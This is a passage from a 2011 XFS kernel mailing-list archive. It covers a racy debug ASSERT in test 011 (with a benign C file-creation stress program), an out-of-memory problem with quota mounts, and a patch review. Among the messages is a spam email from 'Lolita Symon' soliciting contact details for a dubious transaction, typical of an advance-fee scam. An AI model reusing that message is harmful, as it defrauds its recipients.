Content-Transfer-Encoding: 7bit Hello, A while back I reported that the test case 011 trips an ASSERT on POWER architecture, but not in x86_64. I started comparing the code and quickly realized that the problem is _not_ arch specific, but could make the test case 011 fail, with reduced log on x86_64. But, I could make the POWER not fail by simply increasing the file system size to 100G (from 20G). After some debug I found that I get into this racy situation when the free threshold drops and we flush the log buffer to the disk. i.e in function xlog_grant_push_ail(), if we return at if (free_blocks >= free_threshold) return; we do not get into the race that trips the ASSERT. Then I started comparing the behavioral difference bet the two ARCHs, and I found that in POWER I see more number of threads at a time (max of 4 threads) in the function xlog_grant_log_space(), whereas in x86_64 I see max of only two and mostly it is only one. I also noted that in POWER test case 011 takes about 8 seconds whereas in x86_64, it takes about 165 seconds. So, I ventured into the core of test case 011, dirstress, and found that simply creating 1000s of files under a directory takes very long time in x86_64 compare to POWER(1 min 15s Vs 2s) Note: Attached is the source file (stripped version of dirstress.c) for the program b. ------------------POWER---------------------------------- root@test135 chandra]# uname -a Linux test135.beaverton.ibm.com 2.6.38-rc7 #1 SMP Fri Mar 4 09:36:14 PST 2011 ppc64 ppc64 ppc64 GNU/Linux [root@test135 chandra]# grep -e xfs -e home /proc/mounts none /selinux selinuxfs rw,relatime 0 0 /dev/mapper/vg_test135-lv_home /home ext4 rw,seclabel,relatime,barrier=1,data=ordered 0 0 /dev/sda8 /mnt/xfsMntPt xfs rw,seclabel,relatime,attr2,noquota 0 0 [root@test135 chandra]# ###### Run test on XFS filesystem [root@test135 chandra]# time ./b /mnt/xfsMntPt/dir 10000 1 i 0 real 0m2.055s user 0m0.011s sys 0m0.732s [root@test135 chandra]# ###### Run test of ext4 filesystem [root@test135 chandra]# time ./b /home/dir 10000 1 i 0 real 0m0.355s user 0m0.009s sys 0m0.304s --------------------x86_64---------------------------------------- [root@test27 chandra]# uname -a Linux test27 2.6.38-rc7 #4 SMP Wed Mar 9 08:37:32 PST 2011 x86_64 x86_64 x86_64 GNU/Linux [root@test27 chandra]# grep -e xfs -e home /proc/mounts none /selinux selinuxfs rw,relatime 0 0 /dev/sdc3 /home ext4 rw,seclabel,relatime,barrier=1,data=ordered 0 0 /dev/sdb1 /mnt/xfsMntPt xfs rw,seclabel,relatime,attr2,noquota 0 0 [root@test27 chandra]# ###### Run test on XFS filesystem [root@test27 chandra]# time ./b /mnt/xfsMntPt/dir 10000 1 i 0 real 1m15.700s user 0m0.030s sys 0m1.679s [root@test27 chandra]# ###### Run test of ext4 filesystem [root@test27 chandra]# time ./b /home/dir 10000 1 i 0 real 0m0.317s user 0m0.010s sys 0m0.306s ------------------------------------------------------------------- After quite an amount of debug I found that I can make it trip the ASSERT in x86_64 also, if I start sufficient of threads accessing the file system. Basically, "./b /mnt/xfsMntPt/dir 100 100" trips the ASSERT. I have two questions: 1. Does anybody have any explanation why x86_64 is so slow, compared with POWER ? 2. Any suggestions on how to debug and fix the race condition ? Thanks & Regards, chandra --=-+dWvLbSMxQrWvDwVyQrJ Content-Disposition: attachment; filename="b.c" Content-Type: text/x-csrc; name="b.c"; charset="UTF-8" Content-Transfer-Encoding: 7bit #include #include #include #include #include #define MKNOD_DEV 0 int dirstress(char *dir, int num_files, int prefix) { int i, err, fd; char buf[128]; err = chdir(dir); if (err) { perror("cannot chdir to directory"); return 1; } sprintf(buf, "dir%d", prefix); err = mkdir(buf, 0777); if (err) { perror("mkdir"); return 1; } err = chdir(buf); if (err) { perror("cannot chdir to prefix"); return 1; } for (i = 0; i < num_files; i++) { sprintf(buf, "XXXXXXXXXXXX.%d.%d", prefix, i); switch (i % 4) { case 0: /* * Create a file */ fd = creat(buf, 0666); if (fd > 0) { close(fd); } else { fprintf(stderr,"!! close %s failed\n", buf); perror("close"); } break; case 1: /* * Make a directory. */ if (mkdir(buf, 0777)) { fprintf(stderr,"!! mkdir %s 0777 failed\n", buf); perror("mkdir"); } break; case 2: /* * Make a symlink */ if (symlink(buf, buf)) { fprintf(stderr,"!! symlink %s %s failed\n", buf, buf); perror("symlink"); } break; case 3: /* * Make a dev node */ if (mknod(buf, S_IFCHR | 0666, MKNOD_DEV)) { fprintf(stderr,"!! mknod %s 0x%x failed\n", buf, MKNOD_DEV); perror("mknod"); } break; default: break; } } return 0; } main(int argc, char *argv[]) { pid_t pid; int i, count; if (argc != 4) { printf("Usage: %s directory num_files numprocs\n", argv[0]); exit(1); } #if 0 exit(dirstress(argv[1], atoi(argv[2]))); #else for (i = 0; i < atoi(argv[3]); i++) { printf("i %d\n", i); pid = fork(); if (pid < 0) { perror("fork"); goto done; } if (pid == 0) { exit(dirstress(argv[1], atoi(argv[2]), i)); } } done: while (wait(&count) != -1) ; exit(0); #endif } --=-+dWvLbSMxQrWvDwVyQrJ-- From law_chambers2016@att.net Sat Mar 12 00:38:32 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: **** X-Spam-Status: No, score=4.0 required=5.0 tests=BAYES_99,T_DKIM_INVALID, T_FILL_THIS_FORM_SHORT,UNPARSEABLE_RELAY autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2C6cR8c205881 for ; Sat, 12 Mar 2011 00:38:32 -0600 X-ASG-Debug-ID: 1299912068-7ce202dc0000-w1Z2WR X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from nm19-vm0.bullet.mail.bf1.yahoo.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with SMTP id 3E3B21DE7FBD for ; Fri, 11 Mar 2011 22:41:08 -0800 (PST) Received: from nm19-vm0.bullet.mail.bf1.yahoo.com (nm19-vm0.bullet.mail.bf1.yahoo.com [98.139.213.162]) by cuda.sgi.com with SMTP id f1bpdKzbeNL25IVn for ; Fri, 11 Mar 2011 22:41:08 -0800 (PST) Received: from [98.139.212.152] by nm19.bullet.mail.bf1.yahoo.com with NNFMP; 12 Mar 2011 06:41:08 -0000 Received: from [98.139.212.200] by tm9.bullet.mail.bf1.yahoo.com with NNFMP; 12 Mar 2011 06:41:08 -0000 Received: from [127.0.0.1] by omp1009.mail.bf1.yahoo.com with NNFMP; 12 Mar 2011 06:41:08 -0000 X-Yahoo-Newman-Id: 258503.5785.bm@omp1009.mail.bf1.yahoo.com Received: (qmail 24178 invoked from network); 12 Mar 2011 06:41:08 -0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=att.net; s=s1024; t=1299912068; bh=CAsSjXy2JEbJdmnsHzi5Y8q+U6R02psnpnYrPsNGQCE=; h=Received:X-Yahoo-SMTP:X-YMail-OSG:X-Yahoo-Newman-Property:From:To:Reply-To:Date:Subject:MIME-Version:Content-Type:Content-Transfer-Encoding:Message-ID; b=Z6XLJRuGOloq5GADjbSWyuHBlQrv/gTOioDcs5zGtJqkfZzJMIw61V88jPGXzpZmAmqG5ZIvKSCBdTvLdgplu0uPlk1ZV8mtmvvMWAZ2nnJXcSumDBzNMGNEftTZb7x5miYGHVfVfyiyvDMIQlQolBiE8nh7OCQ7NvHSkDYF/d0= Received: from userPC (law_chambers2016@116.206.135.185 with login) by smtp104.sbc.mail.bf1.yahoo.com with SMTP; 11 Mar 2011 22:41:07 -0800 PST X-Yahoo-SMTP: 9jnHiqmswBC.jiZsoawgYBqqnEHHMzliHzhSpP6n1mPCyj6JYA-- X-YMail-OSG: R8Jva80VM1n_IccA49qiO3sjzz2uPH2.WLl9hvLLXCUgXQ3 5QQMA6nebS_YidcTfhf1uPoaZOY0XvHUYx1_ygifhde.rvqk9qFlFDU76db3 dYo8BpDjVVxBcCeOZKa_VSdW1zUo1oD6Bo85OXWFZ_vlQJndUOC78bwpef7s FrswRlKo0UcGIhsFQAruqe3QTurpXbPSOTpQxaDKfA5KUGARXNoyI8zSOOvV 5qVVeHMPk7uxbyVwecDe7GqDFCdQzyI0vq1v99S.ixE6M9eF9kQ-- X-Yahoo-Newman-Property: ymail-3 From: "Lolita Symon" To: "linux-xfs@oss.sgi.com" Reply-To: anaaveterinary@consultant.com Date: Sat, 12 Mar 2011 11:47:06 +0800 X-ASG-Orig-Subj: Looking for Product Subject: Looking for Product MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Message-ID: X-Barracuda-Connect: nm19-vm0.bullet.mail.bf1.yahoo.com[98.139.213.162] X-Barracuda-Start-Time: 1299912079 X-Barracuda-Bayes: INNOCENT GLOBAL 0.7351 1.0000 1.6477 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: 1.65 X-Barracuda-Spam-Status: No, SCORE=1.65 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=DKIM_SIGNED, DKIM_VERIFIED, UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.57706 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean ANAA VETERINARY COMPANY PLC=2E=0D=0ACtra M117, km 4,800,=0D=0AValdetorres= del Jarama,=0D=0A28750 Spain=2E=0D=0A=0D=0A=0D=0AHello Dear,=0D=0A=0D=0A= Nice meeting you, how is your day, i hope all is well with you and your f= amily, well I am Mis=2ELolita Symon, i work with Anaa Veterinary Company= Plc=2E here in Spain, I am looking for a dependable individual that I c= an trust, someone who will be willing and honest enough to carry out thi= s transaction with diligent to the best of his/her ability=2E=0D=0A =0D=0A= Actually, I Normally Travel to Asia to Purchase a Product Called (ADEVILI= N) is a new scientific vaccination chemical for Horses=2E=0D=0A=0D=0AYou= r reply is of great important, all information needed is intact, and all = that matters now is your respond if you are interested Kindly get back t= o me with your contact, fax number, phone number, i hope to hear from yo= u soon Through my Email:anaaveterinary=40consultant=2Ecom =0D=0A=0D=0A=0D= =0AMis=2E Lolita Symon=2E From arekm@maven.pl Sat Mar 12 00:49:09 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2C6n4YV206368 for ; Sat, 12 Mar 2011 00:49:09 -0600 X-ASG-Debug-ID: 1299912703-7ce2032c0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from smtp-relay.maven.pl (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 158BF1DE7DBE for ; Fri, 11 Mar 2011 22:51:43 -0800 (PST) Received: from smtp-relay.maven.pl (smtp-relay.maven.pl [193.239.45.138]) by cuda.sgi.com with ESMTP id gPcBt2XBkD2GwFDd for ; Fri, 11 Mar 2011 22:51:43 -0800 (PST) Received: from 87-207-113-141.dynamic.chello.pl ([87.207.113.141]:46749 helo=tarm.maven.pl) by smtp-relay.maven.pl with esmtpsa (TLSv1:DHE-RSA-AES256-SHA:256) (Exim 4.73) (envelope-from ) id 1PyIfu-0003Vu-AO for xfs@oss.sgi.com; Sat, 12 Mar 2011 07:51:42 +0100 Received: from arekm by tarm.maven.pl with local (Exim 4.74) (envelope-from ) id 1PyIft-00054l-Oc for xfs@oss.sgi.com; Sat, 12 Mar 2011 07:51:41 +0100 From: Arkadiusz Miskiewicz To: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: 2.6.37: mount with quota eats all available memory Subject: Re: 2.6.37: mount with quota eats all available memory Date: Sat, 12 Mar 2011 07:51:41 +0100 User-Agent: KMail/1.13.6 (Linux/2.6.38-rc8-00065-g9179746-dirty; KDE/4.6.1; x86_64; ; ) References: <201103112258.48742.arekm@maven.pl> <201103112302.57445.arekm@maven.pl> In-Reply-To: <201103112302.57445.arekm@maven.pl> MIME-Version: 1.0 Content-Type: Text/Plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable Message-Id: <201103120751.41704.arekm@maven.pl> X-Barracuda-Connect: smtp-relay.maven.pl[193.239.45.138] X-Barracuda-Start-Time: 1299912714 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.57708 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Friday 11 of March 2011, Arkadiusz Miskiewicz wrote: > On Friday 11 of March 2011, Arkadiusz Miskiewicz wrote: > > I have a machine with 4GB, running 64bit 2.6.37, xfs on top of soft > > raid5. > >=20 > > Recently after using xfs_fsr (and getting a oops) had to do xfs_repair > > and now I'm no longer able to mount this filesystem with usrquota and > > grpquota. >=20 > Some data about fs: > # LC_ALL=3DC xfs_info /home > meta-data=3D/dev/md3 isize=3D256 agcount=3D32, agsize=3D= 6564128 > blks =3D sectsz=3D4096 attr=3D0 > data =3D bsize=3D4096 blocks=3D210051776, ima= xpct=3D25 > =3D sunit=3D16 swidth=3D48 blks > naming =3Dversion 2 bsize=3D4096 ascii-ci=3D0 > log =3Dinternal bsize=3D4096 blocks=3D32768, version= =3D2 > =3D sectsz=3D4096 sunit=3D1 blks, lazy-co= unt=3D0 > realtime =3Dnone extsz=3D196608 blocks=3D0, rtextents= =3D0 > # cat /proc/mdstat > Personalities : [raid10] [raid1] [raid6] [raid5] [raid4] > md3 : active raid5 sda4[0] sdd4[3] sdc4[2] sdb4[1] > 840207168 blocks level 5, 64k chunk, algorithm 2 [4/4] [UUUU] > bitmap: 2/3 pages [8KB], 65536KB chunk More info, tested current linus 2.6.38git including "xfs: Reduce OOM kill=20 problems under heavy load V2" patchset but the result wasn't much better: 3549921 3549921 100% 1.06K 132791 30 4249312K xfs_inode (from slabtop), machine became unresponsible and rebooted. I wonder if 8GB of ram would be enough for this 800GB fs to mount. =2D-=20 Arkadiusz Mi=C5=9Bkiewicz PLD/Linux Team arekm / maven.pl http://ftp.pld-linux.org/ From david@fromorbit.com Sat Mar 12 20:16:04 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2D2FwIZ253310 for ; Sat, 12 Mar 2011 20:16:04 -0600 X-ASG-Debug-ID: 1299982718-418202de0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail04.adl6.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id A25021380436 for ; Sat, 12 Mar 2011 18:18:39 -0800 (PST) Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id vLAsqJY5BvHDyW3L for ; Sat, 12 Mar 2011 18:18:39 -0800 (PST) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AsgEANi1e015LK5JgWdsb2JhbACmQxUBARYmJcAJDYJygmME Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail04.adl6.internode.on.net with ESMTP; 13 Mar 2011 12:48:37 +1030 Received: from dave by dastard with local (Exim 4.72) (envelope-from ) id 1PyZaM-0000wa-Ey; Sun, 13 Mar 2011 11:55:06 +1100 Date: Sun, 13 Mar 2011 11:55:06 +1100 From: Dave Chinner To: Arkadiusz Miskiewicz Cc: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: 2.6.37: mount with quota eats all available memory Subject: Re: 2.6.37: mount with quota eats all available memory Message-ID: <20110313005506.GG15097@dastard> References: <201103112258.48742.arekm@maven.pl> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <201103112258.48742.arekm@maven.pl> User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1299982730 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0006 1.0000 -2.0171 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.57780 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Fri, Mar 11, 2011 at 10:58:48PM +0100, Arkadiusz Miskiewicz wrote: > > I have a machine with 4GB, running 64bit 2.6.37, xfs on top of soft raid5. > > Recently after using xfs_fsr (and getting a oops) had to do xfs_repair and now > I'm no longer able to mount this filesystem with usrquota and grpquota. > > xfs eats all ram, from slabtop: > 3756380 3756380 100% 1.00K 244655 16 3914480K xfs_inode > 251712 251711 99% 0.06K 3933 64 15732K kmalloc-64 > 118482 114287 96% 0.55K 4233 28 67728K radix_tree_node > 88768 88711 99% 0.12K 2774 32 11096K kmalloc-128 > 28713 28713 100% 0.08K 563 51 2252K sysfs_dir_cache > 22974 22973 99% 0.09K 547 42 2188K kmalloc-96 > 9776 9776 100% 0.25K 611 16 2444K kmalloc-256 > 7791 7791 100% 0.19K 371 21 1484K kmalloc-192 > 7168 7097 99% 0.01K 14 512 56K kmalloc-8 > > machine is not responsible anymore, xfs ate all ram > > If I don't use usr/grp quota then filesystem mounts without a problem. > > What are my options now? I need this system running again with quota but > loosing all quota information is not a problem (I can set it again). I can reproduce it. There's some difference between the way userspace operates with bulkstat vs the way the kernel quotacheck operates with it. Essentially the problem appears to be related to the inodes not being reclaimed and the kernel declaring OOM with about 50 pages in the page cache but still having millions of reclaimable inodes. Whether it is a result of the kernel not attempting to reclaim them or something else, I don't know yet. However, there's definitely something fishy going on because quotacheck inodes aren't showing up as VFS inodes even though they probably should because they are fully instantiated. I'll look at it further tomorrow. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sat Mar 12 20:16:05 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.8 required=5.0 tests=BAYES_00,J_CHICKENPOX_28 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2D2G0qw253313 for ; Sat, 12 Mar 2011 20:16:05 -0600 X-ASG-Debug-ID: 1299982731-418402fc0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail04.adl6.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 9F0EA1380455 for ; Sat, 12 Mar 2011 18:18:51 -0800 (PST) Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id KtNwyPl9bwdwZA0r for ; Sat, 12 Mar 2011 18:18:51 -0800 (PST) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AsgEANi1e015LK5JgWdsb2JhbACmQxUBARYmJcAJDYVVBJJI Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail04.adl6.internode.on.net with ESMTP; 13 Mar 2011 12:48:38 +1030 Received: from dave by dastard with local (Exim 4.72) (envelope-from ) id 1PyZTe-0000vl-5Z; Sun, 13 Mar 2011 11:48:10 +1100 Date: Sun, 13 Mar 2011 11:48:10 +1100 From: Dave Chinner To: Chandra Seetharaman Cc: XFS Mailing List X-ASG-Orig-Subj: Re: testcase 011 trips and ASSERT in x86_64 too Subject: Re: testcase 011 trips and ASSERT in x86_64 too Message-ID: <20110313004810.GE15097@dastard> References: <1299899166.32230.629.camel@chandra-lucid.beaverton.ibm.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1299899166.32230.629.camel@chandra-lucid.beaverton.ibm.com> User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1299982732 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.57780 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Fri, Mar 11, 2011 at 07:06:06PM -0800, Chandra Seetharaman wrote: > Hello, > > A while back I reported that the test case 011 trips an ASSERT on POWER > architecture, but not in x86_64. > > I started comparing the code and quickly realized that the problem is > _not_ arch specific, but could make the test case 011 fail, with reduced > log on x86_64. But, I could make the POWER not fail by simply increasing > the file system size to 100G (from 20G). > > After some debug I found that I get into this racy situation when the > free threshold drops and we flush the log buffer to the disk. > i.e in function xlog_grant_push_ail(), if we return at > > if (free_blocks >= free_threshold) > return; > we do not get into the race that trips the ASSERT. As i said before, the debug check is known to be racy. Having it trigger is not necessarily a sign of a problem. I have only ever tripped it once since the way the check operates was changed. There's no point in spending time trying to analyse it and explain it as we already know why and how it can trigger in a racy manner. > Then I started comparing the behavioral difference bet the two ARCHs, > and I found that in POWER I see more number of threads at a time (max of > 4 threads) in the function xlog_grant_log_space(), whereas in x86_64 I > see max of only two and mostly it is only one. > > I also noted that in POWER test case 011 takes about 8 seconds whereas > in x86_64, it takes about 165 seconds. > > So, I ventured into the core of test case 011, dirstress, and found that > simply creating 1000s of files under a directory takes very long time in > x86_64 compare to POWER(1 min 15s Vs 2s) On my x86-64 boxes, test 011 takes 3s with CONFIG_XFS_DEBUG=y, all lock checking turned on, memory poisoning active, etc. With a prodution kernel, it usually takes 1s. Even on a single SATA drive. So, without knowing anything about your x86-64 machine, I'd say there's something wrong with it or it's configuration. Try turning off barriers and seeing if that makes it go faster.... > Note: Attached is the source file (stripped version of dirstress.c) for > the program b. > ------------------POWER---------------------------------- > root@test135 chandra]# uname -a > Linux test135.beaverton.ibm.com 2.6.38-rc7 #1 SMP Fri Mar 4 09:36:14 PST > 2011 ppc64 ppc64 ppc64 GNU/Linux > [root@test135 chandra]# grep -e xfs -e home /proc/mounts > none /selinux selinuxfs rw,relatime 0 0 > /dev/mapper/vg_test135-lv_home /home ext4 > rw,seclabel,relatime,barrier=1,data=ordered 0 0 > /dev/sda8 /mnt/xfsMntPt xfs rw,seclabel,relatime,attr2,noquota 0 0 > [root@test135 chandra]# ###### Run test on XFS filesystem > [root@test135 chandra]# time ./b /mnt/xfsMntPt/dir 10000 1 > i 0 > > real 0m2.055s > user 0m0.011s > sys 0m0.732s > [root@test135 chandra]# ###### Run test of ext4 filesystem > [root@test135 chandra]# time ./b /home/dir 10000 1 > i 0 > > real 0m0.355s > user 0m0.009s > sys 0m0.304s > --------------------x86_64---------------------------------------- > [root@test27 chandra]# uname -a > Linux test27 2.6.38-rc7 #4 SMP Wed Mar 9 08:37:32 PST 2011 x86_64 x86_64 > x86_64 GNU/Linux > [root@test27 chandra]# grep -e xfs -e home /proc/mounts > none /selinux selinuxfs rw,relatime 0 0 > /dev/sdc3 /home ext4 rw,seclabel,relatime,barrier=1,data=ordered 0 0 > /dev/sdb1 /mnt/xfsMntPt xfs rw,seclabel,relatime,attr2,noquota 0 0 > [root@test27 chandra]# ###### Run test on XFS filesystem > [root@test27 chandra]# time ./b /mnt/xfsMntPt/dir 10000 1 > i 0 > > real 1m15.700s > user 0m0.030s > sys 0m1.679s > [root@test27 chandra]# ###### Run test of ext4 filesystem > [root@test27 chandra]# time ./b /home/dir 10000 1 > i 0 > > real 0m0.317s > user 0m0.010s > sys 0m0.306s > ------------------------------------------------------------------- > > After quite an amount of debug I found that I can make it trip the > ASSERT in x86_64 also, if I start sufficient of threads accessing the > file system. Basically, "./b /mnt/xfsMntPt/dir 100 100" trips the > ASSERT. > > I have two questions: > > 1. Does anybody have any explanation why x86_64 is so slow, compared > with POWER ? > > 2. Any suggestions on how to debug and fix the race condition ? We'll probably just change the assert to a: #ifdef DEBUG WARN_ON_ONCE(assert condition) #endif So that it just logs the fact it was hit when we are running debug XFS kernels. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sat Mar 12 20:16:04 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2D2Fxgs253311 for ; Sat, 12 Mar 2011 20:16:04 -0600 X-ASG-Debug-ID: 1299982718-418202de0001-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail04.adl6.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id D9EAC1380455 for ; Sat, 12 Mar 2011 18:18:50 -0800 (PST) Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id F1FzG2hh4J1bqNhv for ; Sat, 12 Mar 2011 18:18:50 -0800 (PST) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AsgEANi1e015LK5JgWdsb2JhbACmQxUBARYmJcAJDYVVBA Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail04.adl6.internode.on.net with ESMTP; 13 Mar 2011 12:48:38 +1030 Received: from dave by dastard with local (Exim 4.72) (envelope-from ) id 1PyZUS-0000vw-16; Sun, 13 Mar 2011 11:49:00 +1100 Date: Sun, 13 Mar 2011 11:49:00 +1100 From: Dave Chinner To: Alex Elder Cc: XFS Mailing List , Geert Uytterhoeven X-ASG-Orig-Subj: Re: [PATCH] xfs: don't name variables "panic" Subject: Re: [PATCH] xfs: don't name variables "panic" Message-ID: <20110313004859.GF15097@dastard> References: <1299847191.3462.1.camel@doink> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1299847191.3462.1.camel@doink> User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1299982731 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0584 1.0000 -1.6473 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -1.65 X-Barracuda-Spam-Status: No, SCORE=-1.65 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.57780 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Fri, Mar 11, 2011 at 06:39:51AM -0600, Alex Elder wrote: > The new xfs_alert_tag() used a variable named "panic", > and that is to be avoided. Rename it. > > Signed-off-by: Alex Elder My fault. Fix looks good. Reviewed-by: Dave Chinner Cheers, Dave -- Dave Chinner david@fromorbit.com From BATV+c4d806e2249323cb8898+2759+infradead.org+hch@bombadil.srs.infradead.org Mon Mar 14 05:21:59 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2EALmM5064938 for ; Mon, 14 Mar 2011 05:21:59 -0500 X-ASG-Debug-ID: 1300098272-0df0028f0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id ABC2E138E39B for ; Mon, 14 Mar 2011 03:24:32 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id lCwI7PbykSyzxb6X for ; Mon, 